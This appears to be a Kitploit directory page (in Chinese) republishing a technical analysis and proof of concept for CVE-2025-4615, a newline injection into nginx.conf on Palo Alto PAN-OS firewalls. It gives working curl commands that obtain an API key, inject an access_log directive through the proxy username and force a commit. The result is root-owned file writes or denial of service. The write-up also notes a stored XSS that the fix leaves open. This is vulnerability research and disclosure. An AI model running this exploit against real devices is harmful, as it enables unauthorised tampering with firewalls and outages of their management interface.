Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-4615 — cve-2025-4615 poc 与深入分析 | Kitploit
工具/GitHubGitHub/sh00bx/cve-2025-4615
漏洞分析代码分析漏洞利用Web应用程序漏洞利用配置审计渗透测试
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc 与深入分析

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-4615 — 技术分析与概念验证

漏洞类型: PAN-OS 管理 Web 界面中的输入中和不当
厂商公告: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9(中危)—— 完整性:高,可用性:高
CWE: CWE-83(Web 页面中属性内脚本的中和不当)
CAPEC: CAPEC-165(文件操纵)
致谢: Visa Inc.
分析日期: 2026-03-26


1. 摘要

CVE-2025-4615 是 Palo Alto Networks PAN-OS 中 secure-proxy-user 配置字段的一个换行符注入漏洞。经过身份验证的管理员可以通过 XML API 或 Web 界面将换行符(\n)注入代理用户名。在提交(commit)期间,该值会被未经净化地写入 /etc/nginx/nginx.conf,从而逃逸出注释行并注入任意 nginx 指令。

影响:

  • 通过注入的 access_log 指令以 root 权限任意创建/写入文件
  • 拒绝服务(DoS) —— 无效指令使 nginx 无法重新加载,导致管理界面瘫痪
  • 多个系统配置文件出现配置损坏

注意: 厂商的修复(去除换行符)不完整 —— 由于没有应用输出编码或字符白名单,同一字段仍然存在**存储型跨站脚本(XSS)**漏洞。


2. 根因分析

2.1 注入点

secure-proxy-user 字段在 PAN-OS 模式(schema.xml)中定义为普通字符串,且没有任何输入净化:

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Secure Proxy user name to use"/>

注意:secure-proxy-server 具有正则表达式约束(regex="^([0-9a-zA-Z.:/_-])+$"),但 secure-proxy-user 没有任何约束。虽然存在 31 个字符的长度限制,但没有字符限制。

2.2 存在漏洞的配置写入器

在提交期间,PAN-OS 会根据模板(/etc/nginx/nginx.conf.tmpl)重新生成 /etc/nginx/nginx.conf。该模板包含:

root@kitploit:~
#pan_proxy_comment %s

%s 占位符由 libpanmp_mp.so 库中的函数填充,该函数将代理服务器、用户名和加密密码连接成单个字符串。在存在漏洞的版本上,用户名中的换行符会被原样传递。

2.3 由此导致的 nginx.conf 损坏

当 secure-proxy-user 包含 a\naccess_log /tmp/pwn3;\n# 时,生成的 nginx.conf 变为:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — Comment (harmless)
access_log /tmp/pwn3;                  — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password==            — Password commented out by injected #

第 1 行是注释。第 2 行是位于 http 块级别的有效 nginx 指令。第 3 行被攻击者注入的 # 字符中和。

2.4 为什么这很危险

nginx 主进程以 root 身份运行。access_log 指令会使 nginx 以 root 身份打开/创建目标文件。这可以实现:

  1. 在文件系统的任意位置创建任意文件
  2. 写入任意文件(HTTP 访问日志内容会被追加)
  3. 若注入无效指令则造成 DoS(nginx 拒绝重新加载)

3. 修复(及其局限性)

在已修复版本(11.1.13)上,配置写入器会在将代理用户名写入 nginx.conf 之前去除换行符。相同的恶意值会产生:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==

所有内容都保持在同一行,安全地位于 # 注释之内。

然而,此修复并不完整。 它只解决了换行符注入问题。secure-proxy-user 字段仍然接受任意字符(包括 "、<、>)且没有输出编码,使存储型 XSS 攻击向量完全敞开。参见 unit-43-xss。


4. 概念验证

前提条件

  • 拥有 PAN-OS 管理的已认证管理员访问权限(API 或 Web UI)
  • 已配置 secure-proxy-server(代理注释出现所必需)

步骤 1:获取 API 密钥

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

步骤 2:配置代理服务器(如果尚未设置)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

步骤 3:注入恶意代理用户名

root@kitploit:~
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

步骤 4:提交配置

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

步骤 5:验证

提交完成后(约 30 秒):

  • /tmp/pwn3 已创建,属主为 root
  • nginx -t -c /etc/nginx/nginx.conf 报告:syntax is ok
  • nginx 使用注入的指令成功重新加载

5. 传播分析

未净化的 secure-proxy-user 值会传播到多个文件:

即使是在存在漏洞的版本上,curlrc(/root/.curlrc)和 wgetrc(/root/.wgetrc)写入器确实会去除换行符。nginx.conf 写入器是唯一未进行净化的路径。


6. RCE 评估

对 11 个攻击向量的大量测试证实,在运行 nginx 1.20.1 的 PAN-OS 11.1.6-h7 上,仅凭 CVE-2025-4615 本身无法实现独立的操作系统级 RCE。三个关键的阻碍因素:

  1. nginx \x0A 转义 —— 阻止将原始换行符注入日志文件,从而阻断 cron 注入,尽管 vixie-cron 能够容忍垃圾行(实验室已确认:cron 确实会执行被垃圾行包围的有效行)
  2. 31 字符限制 —— 阻止组合 log_format + access_log 来获得对所写入文件的内容控制
  3. curlrc/wgetrc 换行符去除 —— 消除了次要的文件写入通道

公告中的“执行任意命令”很可能指的是任意 nginx 指令,而非操作系统级别的命令执行。这与 CVSS 的 VC:N(无机密性影响)以及修复的性质一致。

如果三个阻碍因素中缺少任何一个,通过 cron 注入即可轻松实现 RCE。


分析在隔离的实验室环境中进行,使用 PAN-OS 11.1.6-h7(存在漏洞)和 PAN-OS 11.1.13(已修复)。

下载工具
文件影响
/etc/nginx/nginx.conf严重 —— nginx 指令注入
/opt/pancfg/tmp/.tdb_conf.xml模板数据库配置(XML 注入)
/opt/pancfg/mgmt/audit/cfg-audit.xml,v审计日志损坏
/opt/pancfg/mgmt/replaydb/replay.db重放数据库损坏
XSL 生成的守护进程配置(authd、cord、useridd 等)XML 值保留换行符